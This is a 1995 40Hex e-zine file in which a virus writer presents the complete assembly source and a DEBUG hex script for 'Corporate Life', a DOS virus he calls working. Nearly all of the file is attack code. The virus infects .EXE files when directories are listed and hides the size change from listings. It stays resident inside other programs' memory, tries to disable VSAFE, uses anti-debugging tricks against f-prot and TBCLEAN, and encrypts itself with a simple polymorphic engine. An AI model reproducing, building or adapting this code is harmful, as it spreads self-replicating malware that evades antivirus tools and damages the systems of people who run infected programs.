Copy Link
Add to Bookmark
Report
40Hex Issue 14 File 008
40Hex Number 14 Volume 5 Issue 1 File 008
A lot of you saw the letter I posted in alt.comp.virus..... I thought I
might explain it now that I am sober ;) I did write the letter, and
a.) I was drunk as hell, and b.) I keep my word and have stopped writing
viruses. If you didn't read it, well, basically some schmuck (who I found
out later wrote friggin' ANSI bombs.... you go girl!) in Singapore got
infected with KeyKapture 2, and wrote me email about it. I was drunk
when I got it, got real depressed, etc. etc.... Anyway, I don't support
infecting the public with viruses, especially destructive ones, and never
have (WTF is the point of doing that anyway?). However, I find viruses one
of the most interesting and unique program types out there, and really hate
to see information regarding them censored, as censorship is the weapon of
men with small minds (at least) and too many fears.
Anyway, here is the last virus I wrote before I stopped writing viruses.
It was never really completed - I was working on a better polymorphic engine
for it (its current one is tres lame, and was written in about an hour,
including testing), needed to remove the prefetch tricks (damn pentium chips)
and some other things, but what the hell.... here's what I had written to that
point - it works, and has a few neato ideas (all FCB stuff, loads itself into
the memory of other programs, etc). Try running it with the Soundblaster
speech drivers loaded if you get really bored.
- Stormbringer, Phalcon/Skism, 1995
;----------------------- cut here, corplife.asm ---------------------------
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Corporate Life (c) 1994 Stormbringer, Phalcon/Skism º
;ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
;º Dreams disipate like fog before the harsh sun - º
;º Every morning, driving to work through the traffic, º
;º A number, a cube, a tie..... º
;º º
;º Don't let your dreams die, mes amis, º
;º Or you will become just another puppet - º
;º Led by the strings of money by an ungrateful master. º
;º º
;º Fuck Corporate Life! º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;Semi-Polymorphic (quit yo' bitchin Zerial, I woulda fixed it.....)
;Moderately Armored.
;Directory stealth - doesn't affect CHKDSK or similar programs, just dir's.
;Memory Stealth - becomes a part of the last TSR program in memory.
;Infects .EXE files on DIR (FindFile with FCB's) using ONLY FCB calls.
; (Only infects DOS .EXE files with no overlays)
;Critical Error Handler.
.model tiny
.radix 16
.code
org 100
start:
push es
push cs
pop ds
db 2dh dup(90)
EXE_ENTRY:
jmp short rotateit
db 09A
rotateit:
ror word ptr cs:[HostCS],1
jmp short EntryArmor
db 0ea ;simple annoyance for disasm
;----------------------------
EntryArmor:
push word ptr cs:[Armor1]
mov ax,not(00eah)
push ax
mov bp,sp
not word ptr ss:[bp] ;should lose trace-based
pop word ptr cs:[Armor1] ;analysis, such as f-prot's
Armor1: ;heuristics and TBCLEAN
pop word ptr cs:[Armor1]
call recursionshit
;----------------------------
GetDosVersion:
mov ax,3001
int 21
cmp al,6
ja BadDos
cmp al,3
jb BadDos
jmp short DosFine
db 0ea
BadDos:
jmp IsActiveInMemory
db 0ff
DosFine:
;----------------------------
KillVSAFE:
mov dx,not(0fa01)
mov ax,not(5945)
xchg dx,ax
push cs
not ax
not dx
int 16 ;Kill vsafe... lame friggin' program anyway
pop ds
;----------------------------
CheckIfActive:
mov ah,09
mov dx,offset Credits
int 21
jnc GetInt21Address
jmp IsActiveInMemory
;----------------------------
GetInt21Address:
xor ax,ax
push ds ax
pop ds
push word ptr ds:[84]
push word ptr ds:[05*4]
push word ptr ds:[86]
push word ptr ds:[05*4+2]
pop word ptr ds:[03*4+2]
pop word ptr cs:[Org21CS]
pop word ptr ds:[03*4]
pop word ptr cs:[Org21IP]
pop ds
push es
;----------------------------
AllocTempMem:
mov ah,4a
mov bx,-1
call call21direct
sub bx,(end_main-start+1f)/10
mov ah,4a
call call21direct
mov bx,(end_main-start+0f)/10
mov ah,48
call call21direct
;----------------------------
PutVirusInTempMem:
sub ax,10
mov es,ax
mov di,100
mov si,di
mov cx,(end_main-start)
repnz movsb
push ds
mov ds,cx
SetupProgramTerminate:
push ds:[22*4]
push ds:[22*4+2]
mov ds:[22*4],offset Int22
mov ds:[22*4+2],es
mov word ptr ds:[6],0fff0
mov word ptr ds:[4],0
pop ax
pop bx
pop ds
mov es:[IP22],bx
mov es:[CS22],ax
pop ds
mov ds:[0a],offset Int22
mov ds:[0c],es
;----------------------------
IsActiveInMemory:
pop es
push es
pop ds
mov ax,es
add ax,10
add cs:HostCS,ax
add ax,cs:HostSS
cli
mov ss,ax
mov sp,cs:[HostSP]
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor di,di
mov si,100
sti
jmp dword ptr cs:[HostEntry]
HostEntry:
HostIP dw 0
HostCS dw 0fff0
HostSS dw 0fff0
HostSP dw 0fffe
Call21Direct:
pushf
call dword ptr cs:[Org21IP]
ret
Org21IP dw 0
Org21CS dw 0
;-----------------------------
recursionshit:
mov cx,11
call recurseit
ret
db 081
recurseit:
jmp short bumpshit
db 0ff
Afterbump:
dec cx
pop ax bx dx
jz exitrecurse
call recurseit
exitrecurse:
rol word ptr cs:[HostCS],1
ret
db 0cdh
bumpshit:
mov bp,sp
push ds
mov bx,cs
push ax
mov word ptr [bp-4],0
pop ds
mov word ptr ds:[3*4],offset afterbump
mov word ptr ds:[3*4+2],bx
pop ds
int 3
How_did_ya_get_here:
loop How_did_ya_get_here
mov ds,cx
push word ptr ds:[46c]
push word ptr ds:[46c]
push word ptr ds:[46e]
iret
;-----------------------------
db 83
Int22:
mov ah,52
call call21direct
mov es,es:[bx-2]
mov bx,es
mov ax,es:[03]
mov cx,es
add ax,cx
inc ax
mov es,ax
FindMCB:
mov ax,es:[03]
cmp ax,(end_prog-start+4f)/10
jb TooSmall
cmp word ptr es:[01],0
je FoundOne
jmp NExtOne
TooSmall:
cmp word ptr es:[01],0
jne NextOne
jmp SkipBXMove
NextOne:
mov bx,es
SkipBXMove:
mov cx,es
add ax,cx
inc ax
cmp ax,0f000
je NoMem
cmp byte ptr es:[0],'M'
jne NoMem
mov es,ax
jmp FindMCB
db 081
NoMem:
jmp Exit22
db 0ea
FoundOne:
mov dx,es
mov es,bx
inc bx
add bx,word ptr es:[03]
push bx
mov ax,es
push word ptr es:[01]
push es
inc ax
mov bx,word ptr es:[03]
mov word ptr cs:[HostMem],ax
mov es,ax
mov ah,4a
add bx,(end_prog-start+3f)/10
call call21direct
jc TooSmall
pop es
pop word ptr es:[01]
pop ax
sub ax,10
mov es,ax
mov di,100
mov si,di
push cs
pop ds
mov cx,(end_prog-start)
repnz movsb
inc cx
mov ds,cx
push word ptr ds:[74]
push word ptr ds:[76]
mov word ptr ds:[74],offset Int21
mov word ptr ds:[76],es
pop word ptr es:[CS21]
pop word ptr es:[IP21]
call ActivateSoundBlaster
Exit22:
db 0ea
IP22 dw 0
CS22 dw 0
db 0ff
Int21:
cmp ah,09
jne NotInstallCheck
xchg dx,bx
cmp word ptr ds:[bx],'B$'
xchg dx,bx
jne Exit21
stc
retf 2
db 088
NotInstallCheck:
push ax ;reversed bits on ah
xor ah,11 ;0001 0001 ;11 - find first
jz FindFile
xor ah,3
jz FindFile ;0001 0010 ;12 - find next
xor ah,5bh ;0100 1001 ;49 - dealloc mem
jz Dealloc
ExitTests:
pop ax
ExitFunctions:
Exit21:
db 0ea
IP21 dw 0
CS21 dw 0
db 0ea
Dealloc:
mov ax,es
cmp ax,word ptr cs:[HostMem]
pop ax
jne Exit21
iret
db 0ea
GoExitFind:
jmp ExitFind
FindFile:
pop ax
call FakeInt21
or al,al
jnz GoExitFind
push ax bx cx dx es ds si di
call SetCritical
mov ah,2f
call FakeInt21
push es bx
cmp byte ptr es:[bx],0ff
jne ExitCheck
add bx,7
CheckIfEXE:
cmp word ptr es:[bx+09],'XE'
jne ExitCheck
cmp byte ptr es:[bx+0bh],'E'
jne ExitCheck
CheckIfInfected:
cmp word ptr es:[bx+19h],0c800
ja SubVirSize
RandomChanceOfInfect:
call RandomChance
jc SubVirSize
SetupInfectFile:
push es bx
push cs
pop es
mov di,offset FCB1
mov cx,EndFCB1-FCB1
xor ax,ax
push di
repnz stosb
pop di
pop si ds
mov cx,12d
repnz movsb
OpenFileFCB:
mov ah,0f
push cs
pop ds
mov dx,offset FCB1
call FakeInt21
inc al
jz SubVirSize ;Error Occured
push es bx
call InfectFileFCB
pop bx es
CloseFileFCB:
mov ah,10
mov dx,offset FCB1
call FakeInt21
SubVirSize:
cmp word ptr es:[bx+19],0c800
jb AfterDirStealth
sub word ptr es:[bx+19],0c800
push bx
mov ah,62
call FakeInt21
mov ax,cs
cmp bx,ax
pop bx
ja AfterDirStealth
sub word ptr es:[bx+1dh],(end_main-start+40)
sbb word ptr es:[bx+1f],0
AfterDirStealth:
ExitCheck:
pop dx ds
mov ah,1a
call fakeint21
call ResetCritical
pop di si ds es dx cx bx ax
ExitFind:
retf 2
db 0ea
FakeInt21:
pushf
call dword ptr cs:[IP21]
ret
db 09a
BadFile:
jmp ExitInfFCB
db 0ea
InfectFileFCB:
push word ptr [FCBTime]
push word ptr [FCBDate]
push word ptr [FCBFSize]
push word ptr [FCBFSize+2]
pop word ptr [OrgSize+2]
pop word ptr [OrgSize]
call CheckHeader
jc InfectionCheck
call SaveValues
call ResetHeader
call PAdEndOfFile
jmp ModTimeInfected
InfectionCheck:
jc ExitInfFCB ;was infection successful?
ModTimeInfected:
pop ax
add ax,0c800
push ax
ExitInfFCB:
pop word ptr cs:[FCBDate]
pop word ptr cs:[FCBTime]
ret
PadEndOfFile:
mov ax,word ptr [OrgSize]
mov dx,word ptr [OrgSize+2]
add ax,(end_main-start+40)
adc dx,0
mov word ptr [FCBFSize],ax
mov word ptr [FCBFSize+2],dx
ret
RandomChance:
push ax ds
xor ax,ax
mov ds,ax
mov ax,ds:[46c]
shr ax,1
pop ds ax
ret
ResetHEader:
mov ax,word ptr [FCBFsize]
mov dx,word ptr [FCBFsize+2]
and ax,1ff
mov word ptr [EXEHeader+2],ax
mov ax,word ptr [FCBFsize]
jz NoCarry
add ax,1ff
NoCarry:
mov cl,9
shr ax,cl
mov cl,7
shl dx,cl
add dx,ax
mov word ptr [EXEHeader+4],dx
add word ptr [exeheader+0a],(end_main-start+1f)/10
mov ah,1a
mov dx,offset EXEHeader
call fakeint21
mov dx,offset FCB1
mov byte ptr [FCBCurRec],0
mov word ptr [FCBBlock],0
mov word ptr [FCBRecSize],40
mov ah,15
call fakeInt21
ret
CheckHEader:
mov word ptr [FCBRecSize],40
mov ah,1a
mov dx,offset EXEHeader
call fakeInt21 ;Set DTA for read
mov ah,14
mov dx,offset FCB1 ;read EXEheader
call fakeInt21
mov ax,word ptr [EXEHeader]
add ah,al
xor ah,('Z'+'M')
jnz BadHeader
cmp word ptr [EXEHeader+1a],0
jnz BadHEader
cmp word ptr [EXEHeader+18],40
jae BadHeader
cmp word ptr [FCBFSize+2],4
ja BadHeader
clc
ret
BadHeader:
stc
ret
SaveValues:
push word ptr [EXEHeader+0e]
mov ax,word ptr [FCBFsize]
push word ptr [EXEHeader+10]
mov dx,word ptr [FCBFsize+2]
push word ptr [EXEHEader+14]
mov cl,4
mov bx,word ptr [EXEHeader+08]
shl bx,cl
sub ax,bx
sbb dx,0
push word ptr [EXEHEader+16]
shr ax,cl
pop word ptr [HostCS]
adc ax,0
pop word ptr [HostIP]
mov bx,ax
pop word ptr [HostSP]
shl ax,cl
pop word ptr [HostSS]
adc dx,0
mov cl,0c
shl dx,cl
add bx,dx
sub bx,0f
mov word ptr [EXEHeader+16],bx
mov word ptr [EXEHeader+14],100
add bx,0f0
mov word ptr [EXEHeader+0e],bx
mov word ptr [EXEHeader+10],2fe
mov ax,word ptr [FCBFsize]
mov dx,word ptr [FCBFsize+2]
mov cl,4
shr ax,cl
adc ax,0
mov ch,dl
mov cl,4
shr dx,cl
shl ch,cl
add ah,ch
adc dx,0
inc ax
adc dx,0
mov word ptr [FCBRanRec],ax
mov word ptr [FCBRanRec+2],dx
mov word ptr [FCBRecSize],10
push cx bx dx si di
call Mutate
pop di si dx bx cx
mov dx,offset DecryptBuffer
AppendLoop:
mov ah,1a
call fakeint21
push dx
mov ah,22
mov dx,offset FCB1
call fakeint21
pop dx
call updateRecAndDX
cmp dx,offset end_prog
jb AppendLoop
ret
UpdateRecAndDX:
add dx,10
add word ptr [FCBRanRec],1
adc word ptr [FCBRanRec+2],0
ret
SetCritical:
push ax ds
mov ax,9
mov ds,ax
push word ptr ds:[0]
push word ptr ds:[2]
pop word ptr cs:[OldCritical+2]
pop word ptr cs:[OldCritical]
mov word ptr ds:[0],offset CriticalError
push cs
pop word ptr ds:[02]
pop ds ax
ret
ResetCritical:
push ax ds
push word ptr cs:[OldCritical]
mov ax,9
push word ptr cs:[OldCritical+2]
mov ds,ax
pop word ptr ds:[2]
pop word ptr ds:[0]
pop ds ax
ret
CriticalError:
mov al,3
iret
OldCritical dd 0
HostMem dw 0
Credits:
db '$B -=[$$$ Corporate Life $$$]=- P$'
EndCredits:
OrgSize dd 0
FCB1:
FCBDrive db 0
FCBFName db 8 dup(0)
FCBExt db 3 dup(0)
FCBBlock dw 0
FCBRecSize dw 0
FCBFSize dd 0
FCBDate dw 0
FCBTime dw 0
FCBReserved db 8 dup(0)
FCBCurRec db 0
FCBRanRec dd 0
EndFCB1:
EXEHeader db 40 dup(0)
;-----------------]> Activation routine - talks if sound blaster speech drv'r
ActivateSoundBlaster:
CheckIfSBSpeechEnabled:
push ax bx es ds si di
xor ax,ax
mov es,ax
mov ax,0fbfbh
int 2f
mov ax,es
or ax,ax
jz notinstalled
cmp word ptr es:[bx],'BF'
jne notinstalled
SayFuckCorporateLife:
mov ax,0707
mov si,offset speechbuf
mov di,20
add di,bx
mov cx,(endmess-speechbuf)
push cs
pop ds
repnz movsb
call dword ptr es:[bx+4]
NotInstalled:
pop di si ds es bx ax
ret
speechbuf:
db (endmess-message)
message db 'Fuck Corporat Life.',0a,0dh
endmess:
;-----------------]> Simple friggin' mutation engine, but quite small....
Mutate:
push cs cs
pop es ds
mov cx,(end_main-EXE_Entry)
call InitRand
SetupCounter:
mov word ptr [SetCounter+1],cx
PreProcessCode:
mov di,offset NewCodeBuffer
mov si,offset EXE_Entry
repnz movsb
SelectCounterAndPointer:
call GetRand
and ax,707
cmp al,4
je SelectCounterAndPointer
cmp ah,3
je RegsValid
cmp ah,6
je RegsValid
cmp ah,7
je RegsValid
jmp short SelectCounterAndPointer
RegsValid:
cmp ah,al
je SelectCounterAndPointer
FindAddressingReg:
push ax
cmp ah,3
jne Is_SI_or_DI
xor ah,4
jmp GotAddrReg
Is_SI_Or_DI:
xor ah,2
GotAddrReg:
mov dh,ah ;DH now holds addressing reg value
GetRandomXorKey:
call GetRand
mov byte ptr [XorByte+2],al
pop ax
SetNewRegs:
and byte ptr [XorByte+1],11111000b
and byte ptr [SetCounter],11111000b
and byte ptr [DecCounter],11111000b
and byte ptr [SetPointer],11111000b
and byte ptr [IncPointer],11111000b
or byte ptr [SetCounter],al
or byte ptr [DecCounter],al
or byte ptr [SetPointer],ah
or byte ptr [IncPointer],ah
or byte ptr [Xorbyte+1],dh
mov dx,ax
SetupDummy:
call GetRand
and ax,707
cmp al,4
je SetupDummy
cmp al,dh
je SetupDummy
cmp al,dl
je SetupDummy
mov ah,al
and word ptr [OneByte],1111100011111000b
or word ptr [Onebyte],ax
EncryptCode:
mov word ptr [SetPointer+1],offset NewCodeBuffer
call SetCounter
mov word ptr [SetPointer+1],offset EXE_Entry
SetupDecrypt:
mov si,offset EncryptionPrototype
mov di,offset DecryptBuffer
call MakeOneBytes
call OneByteInst
call OneByteInst
call OneByteInst
call ThreeByteInst
call ThreeByteInst
mov bx,di
call ThreeByteInst
call OneByteInst
movsw
mov ax,di
sub ax,bx
not al
stosb
FillBuffer:
mov cx,offset NewCodeBuffer
sub cx,di
call MakeAByte
ret
ThreeByteInst:
movsw
OneByteInst:
movsb
call MakeOneBytes
ret
MakeOneBytes:
push bx cx
call GetRand
and ax,3
inc ax
mov cx,ax
call MakeAByte
pop cx bx
ret
MakeAByte:
call GetRand
and ax,3
mov bx,ax
add bx,offset OneByte
mov al,byte ptr [bx]
stosb
loop MakeAByte
ret
InitRand:
push ds
xor ax,ax
mov ds,ax
mov ax,word ptr ds:[46c]
pop ds
mov word ptr cs:[RandKey],ax
ret
GetRand:
push cx dx
mov ax,word ptr cs:[RandKey]
mov cx,4791
mul cx
mov cx,dx
ror ax,cl
add ax,9174
mov word ptr cs:[Randkey],ax
pop dx cx
ret
RandKey dw 0
EncryptionPrototype:
SaveSeg:
push es
SetCurSeg:
push cs
pop ds
SetCounter:
mov bx,0ffff
SetPointer:
mov si,0ffff
XorByte:
xor byte ptr [si],0ff
IncPointer:
inc si
DecCounter:
dec bx
LoopMod:
jnz XorByte
ExitPrototype:
ret
DummyInstructions:
OneByte:
inc cx
dec cx
nop
sti
end_mut:
end_main:
DecryptBuffer db 30 dup(?)
NewCodeBuffer db (end_main-EXE_Entry) dup (?)
end_prog:
end start
;----------------------- end corplife.asm ---------------------------------
N corplife.com
E 0100 06 0E 1F 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0110 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0120 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0130 EB 01 9A 2E D1 0E 3C 02 EB 01 EA 2E FF 36 4E 01
E 0140 B8 15 FF 50 8B EC F7 56 00 2E 8F 06 4E 01 2E 8F
E 0150 06 4E 01 E8 F7 00 B8 01 30 CD 21 3C 06 77 07 3C
E 0160 03 72 03 EB 05 EA E9 A4 00 FF BA FE 05 B8 BA A6
E 0170 92 0E F7 D0 F7 D2 CD 16 1F B4 09 BA 2F 06 CD 21
E 0180 73 03 E9 88 00 33 C0 1E 50 1F FF 36 84 00 FF 36
E 0190 14 00 FF 36 86 00 FF 36 16 00 8F 06 0E 00 2E 8F
E 01A0 06 4B 02 8F 06 0C 00 2E 8F 06 49 02 1F 06 B4 4A
E 01B0 BB FF FF E8 8C 00 83 EB 76 B4 4A E8 84 00 BB 75
E 01C0 00 B4 48 E8 7C 00 2D 10 00 8E C0 BF 00 01 8B F7
E 01D0 B9 49 07 F2 A4 1E 8E D9 FF 36 88 00 FF 36 8A 00
E 01E0 C7 06 88 00 92 02 8C 06 8A 00 C7 06 06 00 F0 FF
E 01F0 C7 06 04 00 00 00 58 5B 1F 26 89 1E 46 03 26 A3
E 0200 48 03 1F C7 06 0A 00 92 02 8C 06 0C 00 07 06 1F
E 0210 8C C0 05 10 00 2E 01 06 3C 02 2E 03 06 3E 02 FA
E 0220 8E D0 2E 8B 26 40 02 33 C0 33 DB 33 C9 33 D2 33
E 0230 FF BE 00 01 FB 2E FF 2E 3A 02 00 00 F0 FF F0 FF
E 0240 FE FF 9C 2E FF 1E 49 02 C3 00 00 00 00 B9 11 00
E 0250 E8 02 00 C3 81 EB 11 FF 49 58 5B 5A 74 03 E8 F4
E 0260 FF 2E D1 06 3C 02 C3 CD 8B EC 1E 8C CB 50 C7 46
E 0270 FC 00 00 1F C7 06 0C 00 58 02 89 1E 0E 00 1F CC
E 0280 E2 FE 8E D9 FF 36 6C 04 FF 36 6C 04 FF 36 6E 04
E 0290 CF 83 B4 52 E8 AB FF 26 8E 47 FE 8C C3 26 A1 03
E 02A0 00 8C C1 03 C1 40 8E C0 26 A1 03 00 3D EE 00 72
E 02B0 0A 26 83 3E 01 00 00 74 28 EB 0A 26 83 3E 01 00
E 02C0 00 75 02 EB 02 8C C3 8C C1 03 C1 40 3D 00 F0 74
E 02D0 0D 26 80 3E 00 00 4D 75 05 8E C0 EB CB 81 EB 65
E 02E0 EA 8C C2 8E C3 43 26 03 1E 03 00 53 8C C0 26 FF
E 02F0 36 01 00 06 40 26 8B 1E 03 00 2E A3 2D 06 8E C0
E 0300 B4 4A 81 C3 ED 00 E8 39 FF 72 B0 07 26 8F 06 01
E 0310 00 58 2D 10 00 8E C0 BF 00 01 8B F7 0E 1F B9 92
E 0320 0E F2 A4 41 8E D9 FF 36 74 00 FF 36 76 00 C7 06
E 0330 74 00 4B 03 8C 06 76 00 26 8F 06 73 03 26 8F 06
E 0340 71 03 E8 75 03 EA 00 00 00 00 FF 80 FC 09 75 0F
E 0350 87 D3 81 3F 24 42 87 D3 75 16 F9 CA 02 00 88 50
E 0360 80 F4 11 74 20 80 F4 03 74 1B 80 F4 5B 74 07 58
E 0370 EA 00 00 00 00 EA 8C C0 2E 3B 06 2D 06 58 75 F0
E 0380 CF EA E9 AB 00 58 E8 AB 00 0A C0 75 F5 50 53 51
E 0390 52 06 1E 56 57 E8 4B 02 B4 2F E8 97 00 06 53 26
E 03A0 80 3F FF 75 79 83 C3 07 26 81 7F 09 45 58 75 6E
E 03B0 26 80 7F 0B 45 75 67 26 81 7F 19 00 C8 77 39 E8
E 03C0 CC 00 72 34 06 53 0E 07 BF 55 06 B9 25 00 33 C0
E 03D0 57 F2 AA 5F 5E 1F B9 0C 00 F2 A4 B4 0F 0E 1F BA
E 03E0 55 06 E8 4F 00 FE C0 74 0F 06 53 E8 51 00 5B 07
E 03F0 B4 10 BA 55 06 E8 3C 00 26 81 7F 19 00 C8 72 1E
E 0400 26 81 6F 19 00 C8 53 B4 62 E8 28 00 8C C8 3B D8
E 0410 5B 77 0B 26 81 6F 1D 89 07 26 83 5F 1F 00 5A 1F
E 0420 B4 1A E8 0F 00 E8 E2 01 5F 5E 1F 07 5A 59 5B 58
E 0430 CA 02 00 EA 9C 2E FF 1E 71 03 C3 9A EB 30 EA FF
E 0440 36 6B 06 FF 36 69 06 FF 36 65 06 FF 36 67 06 8F
E 0450 06 53 06 8F 06 51 06 E8 8C 00 72 0B E8 C0 00 E8
E 0460 3A 00 E8 14 00 EB 02 72 05 58 05 00 C8 50 2E 8F
E 0470 06 69 06 2E 8F 06 6B 06 C3 A1 51 06 8B 16 53 06
E 0480 05 89 07 83 D2 00 A3 65 06 89 16 67 06 C3 50 1E
E 0490 33 C0 8E D8 A1 6C 04 D1 E8 1F 58 C3 A1 65 06 8B
E 04A0 16 67 06 25 FF 01 A3 7C 06 A1 65 06 74 03 05 FF
E 04B0 01 B1 09 D3 E8 B1 07 D3 E2 03 D0 89 16 7E 06 83
E 04C0 06 84 06 76 B4 1A BA 7A 06 E8 68 FF BA 55 06 C6
E 04D0 06 75 06 00 C7 06 61 06 00 00 C7 06 63 06 40 00
E 04E0 B4 15 E8 4F FF C3 C7 06 63 06 40 00 B4 1A BA 7A
E 04F0 06 E8 40 FF B4 14 BA 55 06 E8 38 FF A1 7A 06 02
E 0500 E0 80 F4 A7 75 17 83 3E 94 06 00 75 10 83 3E 92
E 0510 06 40 73 09 83 3E 67 06 04 77 02 F8 C3 F9 C3 FF
E 0520 36 88 06 A1 65 06 FF 36 8A 06 8B 16 67 06 FF 36
E 0530 8E 06 B1 04 8B 1E 82 06 D3 E3 2B C3 83 DA 00 FF
E 0540 36 90 06 D3 E8 8F 06 3C 02 15 00 00 8F 06 3A 02
E 0550 8B D8 8F 06 40 02 D3 E0 8F 06 3E 02 83 D2 00 B1
E 0560 0C D3 E2 03 DA 83 EB 0F 89 1E 90 06 C7 06 8E 06
E 0570 00 01 81 C3 F0 00 89 1E 88 06 C7 06 8A 06 FE 02
E 0580 A1 65 06 8B 16 67 06 B1 04 D3 E8 15 00 00 8A EA
E 0590 B1 04 D3 EA D2 E5 02 E5 83 D2 00 40 83 D2 00 A3
E 05A0 76 06 89 16 78 06 C7 06 63 06 10 00 51 53 52 56
E 05B0 57 E8 55 01 5F 5E 5A 5B 59 BA 49 08 B4 1A E8 73
E 05C0 FE 52 B4 22 BA 55 06 E8 6A FE 5A E8 07 00 81 FA
E 05D0 92 0F 72 E8 C3 83 C2 10 83 06 76 06 01 83 16 78
E 05E0 06 00 C3 50 1E B8 09 00 8E D8 FF 36 00 00 FF 36
E 05F0 02 00 2E 8F 06 2B 06 2E 8F 06 29 06 C7 06 00 00
E 0600 26 06 0E 8F 06 02 00 1F 58 C3 50 1E 2E FF 36 29
E 0610 06 B8 09 00 2E FF 36 2B 06 8E D8 8F 06 02 00 8F
E 0620 06 00 00 1F 58 C3 B0 03 CF 00 00 00 00 00 00 24
E 0630 42 20 2D 3D 5B 24 24 24 20 43 6F 72 70 6F 72 61
E 0640 74 65 20 4C 69 66 65 20 24 24 24 5D 3D 2D 20 50
E 0650 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 06B0 00 00 00 00 00 00 00 00 00 00 50 53 06 1E 56 57
E 06C0 33 C0 8E C0 B8 FB FB CD 2F 8C C0 0B C0 74 1D 26
E 06D0 81 3F 46 42 75 16 B8 07 07 BE F3 06 BF 20 00 03
E 06E0 FB B9 16 00 0E 1F F2 A4 26 FF 5F 04 5F 5E 1F 07
E 06F0 5B 58 C3 15 46 75 63 6B 20 43 6F 72 70 6F 72 61
E 0700 74 20 4C 69 66 65 2E 0A 0D 0E 0E 07 1F B9 19 07
E 0710 E8 F8 00 89 0E 38 08 BF 79 08 BE 30 01 F2 A4 E8
E 0720 F7 00 25 07 07 3C 04 74 F6 80 FC 03 74 0C 80 FC
E 0730 06 74 07 80 FC 07 74 02 EB E5 3A E0 74 E1 50 80
E 0740 FC 03 75 05 80 F4 04 EB 03 80 F4 02 8A F4 E8 C8
E 0750 00 A2 3F 08 58 80 26 3E 08 F8 80 26 37 08 F8 80
E 0760 26 41 08 F8 80 26 3A 08 F8 80 26 40 08 F8 08 06
E 0770 37 08 08 06 41 08 08 26 3A 08 08 26 40 08 08 36
E 0780 3E 08 8B D0 E8 92 00 25 07 07 3C 04 74 F6 3A C6
E 0790 74 F2 3A C2 74 EE 8A E0 81 26 45 08 F8 F8 09 06
E 07A0 45 08 C7 06 3B 08 79 08 E8 8C 00 C7 06 3B 08 30
E 07B0 01 BE 34 08 BF 49 08 E8 2E 00 E8 26 00 E8 23 00
E 07C0 E8 20 00 E8 1C 00 E8 19 00 8B DF E8 14 00 E8 12
E 07D0 00 A5 8B C7 2B C3 F6 D0 AA B9 79 08 2B CF E8 18
E 07E0 00 C3 A5 A4 E8 01 00 C3 53 51 E8 2C 00 25 03 00
E 07F0 40 8B C8 E8 03 00 59 5B C3 E8 1D 00 25 03 00 8B
E 0800 D8 81 C3 45 08 8A 07 AA E2 EF C3 1E 33 C0 8E D8
E 0810 A1 6C 04 1F 2E A3 32 08 C3 51 52 2E A1 32 08 B9
E 0820 91 47 F7 E1 8B CA D3 C8 05 74 91 2E A3 32 08 5A
E 0830 59 C3 00 00 06 0E 1F BB FF FF BE FF FF 80 34 FF
E 0840 46 4B 75 F9 C3 41 49 90 FB
R CX
0749
W
Q
